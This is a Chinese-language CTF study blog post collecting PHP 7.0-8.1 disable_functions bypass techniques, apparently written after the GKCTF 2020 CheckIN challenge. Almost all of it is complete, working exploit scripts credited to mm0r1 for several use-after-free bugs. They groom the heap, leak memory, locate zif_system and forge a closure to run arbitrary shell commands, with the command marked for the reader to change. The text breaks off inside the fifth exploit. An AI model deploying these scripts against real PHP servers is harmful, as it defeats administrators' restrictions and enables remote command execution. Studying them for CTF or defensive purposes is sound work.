PHP7&disable_functions漏洞利用

Ting included in Web · 2024笔记

2024-10-29 About 4800 words 23 minutes

Contents

但是还没完全弄懂，所以就是没有写很详细的原理 QAQ

之后学了会持续更新

PHP7&disable_functions漏洞利用

写这个是因为当时做题遇到了[GKCTF 2020]CheckIN这个题感觉这个里面用的漏洞和exp都不熟

所以想记录一下

php-concat-bypass

用于php 7.3-8.1

原理

利用漏洞bug #81705绕过disable_functions

字符串连接符中有一个错误，当参数为数组时会触发错误处理，如果在错误处理回调中删除了相关资源，会造成UAF

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


<?php

$my_var = str_repeat("a", 1);
set_error_handler(
    function() use(&$my_var) {
        echo("error\n");
        $my_var = 0x123;
    }
);
$my_var .= [0];

?>

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173


<?php

# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
# 
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1

new Pwn("uname -a");	# 此处需要根据需要修改

class Helper { public $a, $b, $c; }
class Pwn {
    const LOGGING = false;
    const CHUNK_DATA_SIZE = 0x60;
    const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
    const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;

    const HT_SIZE = 0x118;
    const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;

    public function __construct($cmd) {
        for($i = 0; $i < 10; $i++) {
            $groom[] = self::alloc(self::STRING_SIZE);
            $groom[] = self::alloc(self::HT_STRING_SIZE);
        }
        
        $concat_str_addr = self::str2ptr($this->heap_leak(), 16);
        $fill = self::alloc(self::STRING_SIZE);

        $this->abc = self::alloc(self::STRING_SIZE);
        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
        self::log("abc @ 0x%x", $abc_addr);

        $this->free($abc_addr);
        $this->helper = new Helper;
        if(strlen($this->abc) < 0x1337) {
            self::log("uaf failed");
            return;
        }

        $this->helper->a = "leet";
        $this->helper->b = function($x) {};
        $this->helper->c = 0xfeedface;

        $helper_handlers = $this->rel_read(0);
        self::log("helper handlers @ 0x%x", $helper_handlers);

        $closure_addr = $this->rel_read(0x20);
        self::log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        self::log("closure class_entry @ 0x%x", $closure_ce);
        
        $basic_funcs = $this->get_basic_funcs($closure_ce);
        self::log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        self::log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = 0x70;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->rel_write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
        self::log("fake closure @ 0x%x", $fake_closure_addr);

        $this->rel_write(0x20, $fake_closure_addr);
        ($this->helper->b)($cmd);

        $this->rel_write(0x20, $closure_addr);
        unset($this->helper->b);
    }

    private function heap_leak() {
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1;
            $buf = str_repeat("\x00", self::HT_STRING_SIZE);
        });
        $arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
        return $buf;
    }

    private function free($addr) {
        $payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
        $payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
        
        $arr = [[], []];
        set_error_handler(function() use (&$arr, &$buf, &$payload) {
            $arr = 1;
            $buf = str_repeat($payload, 1);
        });
        $arr[1] .= "x";
    }

    private function rel_read($offset) {
        return self::str2ptr($this->abc, $offset);
    }

    private function rel_write($offset, $value, $n = 8) {
        for ($i = 0; $i < $n; $i++) {
            $this->abc[$offset + $i] = chr($value & 0xff);
            $value >>= 8;
        }
    }

    private function read($addr, $n = 8) {
        $this->rel_write(0x10, $addr - 0x10);
        $value = strlen($this->helper->a);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20180731, 20190902, 20200930, 20210902])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    self::log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function log($format, $val = "") {
        if(self::LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat("A", $size));
    }

    static function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }
}

?>

php-filter-bypass

php 7.0-8.0.

原理

通过漏洞bug #54350绕过disable_functions

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208


<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
# 
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn('uname -a');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $cmd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fwrite($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fwrite($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>

php7-backtrace-bypass

php 7.0-7.4

原理

通过漏洞bug #76047来绕过

黑名单中添加pcntl相关函数可以实现禁用

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218


<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

php7-gc-bypass

php7.0-7.3

Bug patched in php 7.4

原理

通过利用这个 bug #72530 绕过disable_functions

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215


<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

php-json-bypass

7.1-7.3 released before 30.05.2019.

原理

通过利用这个漏洞 bug #77843 绕过disable_functions

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253


<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
